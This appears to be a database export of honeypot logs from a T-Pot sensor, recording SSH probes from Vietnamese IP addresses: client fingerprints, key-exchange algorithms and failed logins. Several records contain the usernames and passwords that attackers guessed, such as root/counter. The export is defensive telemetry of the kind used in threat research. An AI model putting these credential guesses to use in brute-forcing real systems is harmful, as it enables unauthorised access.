"hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23435	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:37.374439+03	2021-09-20 14:15:07.50447+03	{"_id": "UwbjAnwBvYTbRNuE1A3M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 2059825168520842, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45386, "dest_port": 22, "timestamp": "2021-09-20T11:07:37.374439Z", "@timestamp": "2021-09-20T11:07:37.374Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23436	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:37.310509+03	2021-09-20 14:15:07.506469+03	{"_id": "dgbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52022, "timestamp": "2021-09-20T11:07:37.310509", "@timestamp": "2021-09-20T11:07:37.310Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23437	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:37.283411+03	2021-09-20 14:15:07.5075+03	{"_id": "XQbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [butter/xuelp123] failed", "session": "9641221de2c8", "@version": "1", "password": "xuelp123", "username": "butter", "timestamp": "2021-09-20T11:07:37.283411Z", "@timestamp": "2021-09-20T11:07:37.283Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23438	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:37.154308+03	2021-09-20 14:15:07.5085+03	{"_id": "WgbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45386, "timestamp": "2021-09-20T11:07:37.154308", "@timestamp": "2021-09-20T11:07:37.154Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23439	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:37.475123+03	2021-09-20 14:15:07.5095+03	{"_id": "eAbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [dan/dan] failed", "session": "cbb6f111acc1", "@version": "1", "password": "dan", "username": "dan", "timestamp": "2021-09-20T11:07:37.475123Z", "@timestamp": "2021-09-20T11:07:37.475Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23440	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:37.768674+03	2021-09-20 14:15:07.511502+03	{"_id": "XgbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [report/report] failed", "session": "901571932a87", "@version": "1", "password": "report", "username": "report", "timestamp": "2021-09-20T11:07:37.768674Z", "@timestamp": "2021-09-20T11:07:37.768Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23441	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:07:37.395744+03	2021-09-20 14:15:07.512503+03	{"_id": "awbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 45386, "dest_port": 22, "timestamp": "2021-09-20T11:07:37.395744", "@timestamp": "2021-09-20T11:07:37.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23442	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:37.309349+03	2021-09-20 14:15:07.514472+03	{"_id": "bAbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1d917e941c5d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:37.309349Z", "@timestamp": "2021-09-20T11:07:37.309Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23443	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:37.378185+03	2021-09-20 14:15:07.5155+03	{"_id": "bQbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "68b21819a812", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:37.378185Z", "@timestamp": "2021-09-20T11:07:37.378Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23445	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:37.658098+03	2021-09-20 14:15:07.518471+03	{"_id": "bwbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [scan/scan] failed", "session": "eec7c94161cf", "@version": "1", "password": "scan", "username": "scan", "timestamp": "2021-09-20T11:07:37.658098Z", "@timestamp": "2021-09-20T11:07:37.658Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23446	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:37.68031+03	2021-09-20 14:15:07.5195+03	{"_id": "cAbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "68b21819a812", "@version": "1", "timestamp": "2021-09-20T11:07:37.680310Z", "@timestamp": "2021-09-20T11:07:37.680Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23447	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:37.744022+03	2021-09-20 14:15:07.521503+03	{"_id": "cQbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "610ddc6da2e5", "@version": "1", "duration": 3.3629894256591797, "timestamp": "2021-09-20T11:07:37.744022Z", "@timestamp": "2021-09-20T11:07:37.744Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23448	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:38.209623+03	2021-09-20 14:15:07.522501+03	{"_id": "cwbjAnwBvYTbRNuE1g1G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "61b95c7cc7af", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:38.209623Z", "@timestamp": "2021-09-20T11:07:38.209Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23449	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:39.000327+03	2021-09-20 14:15:07.5235+03	{"_id": "twbjAnwBvYTbRNuE3A2d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 177182089067630, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60160, "dest_port": 22, "timestamp": "2021-09-20T11:07:39.000327Z", "@timestamp": "2021-09-20T11:07:39.000Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23779	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:50.584321+03	2021-09-20 14:15:07.946497+03	{"_id": "vwbkAnwBvYTbRNuECQ8n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/counter] failed", "session": "0955749a468e", "@version": "1", "password": "counter", "username": "root", "timestamp": "2021-09-20T11:07:50.584321Z", "@timestamp": "2021-09-20T11:07:50.584Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
